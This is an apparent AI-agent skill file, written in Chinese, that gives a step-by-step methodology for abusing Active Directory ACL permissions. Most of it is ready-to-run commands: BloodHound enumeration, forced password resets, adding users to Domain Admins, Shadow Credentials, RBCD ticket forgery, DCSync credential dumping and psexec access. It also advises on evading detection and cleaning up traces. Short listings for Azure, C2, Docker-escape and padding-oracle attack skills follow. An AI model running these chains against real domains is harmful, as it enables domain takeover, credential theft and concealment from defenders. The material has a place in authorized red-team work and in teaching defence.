skills/lateral/ad-acl-abuse/SKILL.md
Active Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
npx skillsauth add wgpsec/AboutSecurity ad-acl-abuseInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
核心价值:利用 AD 对象上的错误权限配置实现提权,无需漏洞利用
# 数据收集
bloodhound-python -d DOMAIN -u user -p pass -dc DC_IP -c all
# BloodHound 中查询危险路径:
# - Shortest Path to Domain Admins
# - Find Principals with DCSync Rights
# - Find Dangerous Rights (ACL)
# 使用 dacledit.py(impacket)
dacledit.py -dc-ip DC_IP DOMAIN/user:pass -target 'Domain Admins' -action read
# 使用 PowerView (Windows)
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"}
# 使用 netexec
netexec ldap DC_IP -u user -p pass --dacl "CN=Domain Admins"
| 权限 | 掩码 | 可做什么 | |------|------|---------| | GenericAll | 0x10000000 | 完全控制(改密码/修改属性/加入组) | | GenericWrite | 0x40000000 | 写任意属性(SPN/脚本路径/msDS-KeyCredential) | | WriteDACL | 0x00040000 | 修改权限(给自己加 GenericAll) | | WriteOwner | 0x00080000 | 更改所有者(然后给自己加权限) | | ForceChangePassword | ExtendedRight | 强制重置密码(无需知道原密码) | | Self (Member) | 0x00000008 | 将自己加入组 | | AllExtendedRights | 0x00000100 | DCSync / ForceChangePassword |
发现什么权限?在什么对象上?
│
├─ GenericAll on User
│ ├─ 重置密码 → net rpc password -U user%pass -S DC_IP target_user 'NewP@ss'
│ ├─ Targeted Kerberoasting → 设置 SPN → 请求票据 → 破解
│ ├─ Shadow Credentials → 设置 msDS-KeyCredentialLink → 获取 TGT
│ └─ 修改 scriptPath → 下次登录执行恶意脚本
│
├─ GenericAll on Group
│ └─ 将自己加入组
│ net rpc group addmem "Domain Admins" user -U user%pass -S DC_IP
│
├─ GenericAll on Computer
│ ├─ RBCD → 设置 msDS-AllowedToActOnBehalfOfOtherIdentity
│ └─ Shadow Credentials → 设置 msDS-KeyCredentialLink
│
├─ WriteDACL on Object
│ └─ 先给自己加 GenericAll → 然后按上面操作
│ dacledit.py ... -target obj -action write -rights GenericAll -principal self
│
├─ WriteOwner on Object
│ └─ 先把自己设为 Owner → 然后 WriteDACL → GenericAll
│ owneredit.py ... -target obj -new-owner self
│
├─ GenericWrite on User
│ ├─ Targeted Kerberoasting → 设置 SPN
│ ├─ Shadow Credentials → 设置 Key Credential
│ └─ 修改 logon script
│
├─ ForceChangePassword on User
│ └─ 直接重置目标密码(⛔ 会锁定原用户)
│
└─ AllExtendedRights on Domain
└─ DCSync → impacket-secretsdump DOMAIN/user:pass@DC_IP
# impacket
net rpc password target_user 'N3wP@ss!' -U 'DOMAIN/user%pass' -S DC_IP
# rpcclient
rpcclient -U "user%pass" DC_IP -c "setuserinfo2 target_user 23 N3wP@ss!"
# PowerView
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'N3wP@ss!' -AsPlainText -Force)
# pywhisker — 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p pass --dc-ip DC_IP \
-t target_user -a add
# 输出的 pfx 文件 → 使用 PKINITtools 获取 TGT
python3 gettgtpkinit.py -cert-pfx output.pfx -pfx-pass PASS \
DOMAIN/target_user target_user.ccache
# 使用 TGT
export KRB5CCNAME=target_user.ccache
impacket-secretsdump -k -no-pass DOMAIN/target_user@DC_IP
# 步骤 1: 添加或使用已控机器账户
impacket-addcomputer DOMAIN/user:pass -computer-name FAKE$ -computer-pass FakeP@ss
# 步骤 2: 设置目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -dc-ip DC_IP -delegate-to TARGET$ -delegate-from FAKE$ DOMAIN/user:pass
# 或使用 impacket
impacket-rbcd DOMAIN/user:pass -dc-ip DC_IP -target TARGET$ -delegate-from FAKE$ -action write
# 步骤 3: S4U2Self + S4U2Proxy 获取服务票据
impacket-getST -spn cifs/TARGET.DOMAIN -impersonate Administrator \
DOMAIN/FAKE$:FakeP@ss -dc-ip DC_IP
# 步骤 4: 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.DOMAIN
# 给自己添加 GenericAll
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
-target "CN=Target,DC=domain,DC=com" \
-action write -rights GenericAll -principal user
# 然后按 GenericAll 的利用方式操作
# 清理:操作完后删除添加的 ACE
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
-target "CN=Target,DC=domain,DC=com" \
-action remove -rights GenericAll -principal user
# 修改对象所有者为自己
owneredit.py -dc-ip DC_IP DOMAIN/user:pass \
-target "CN=Target,DC=domain,DC=com" \
-new-owner user
# 所有者可以修改 DACL → 然后 WriteDACL → GenericAll
⛔ 高检测风险操作:
├─ 重置密码 → 用户报告无法登录 → 立即暴露
├─ 修改 Domain Admins 组成员 → 高优先级告警
├─ 修改 AdminSDHolder → 被 SDProp 还原 + 告警
└─ 大量 ACL 查询 → LDAP 审计日志
✓ 相对隐蔽操作:
├─ Shadow Credentials → 不改密码,不加组
├─ Targeted Kerberoasting → 只加 SPN,离线破解
├─ RBCD → 不直接修改敏感组
└─ 修改非特权用户 → 低告警
清理提醒:
├─ 删除添加的 SPN
├─ 删除添加的 Key Credential
├─ 删除 RBCD 委派配置
├─ 恢复修改的 ACE
└─ 删除创建的机器账户
| 工具 | 用途 | |------|------| | BloodHound | ACL 路径可视化发现 | | dacledit.py (impacket) | DACL 读取与修改 | | owneredit.py | 修改对象所有者 | | pywhisker | Shadow Credentials | | rbcd.py / impacket-rbcd | RBCD 配置 | | impacket-addcomputer | 添加机器账户 | | PKINITtools | 证书→TGT | | PowerView | Windows 端 ACL 操作 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能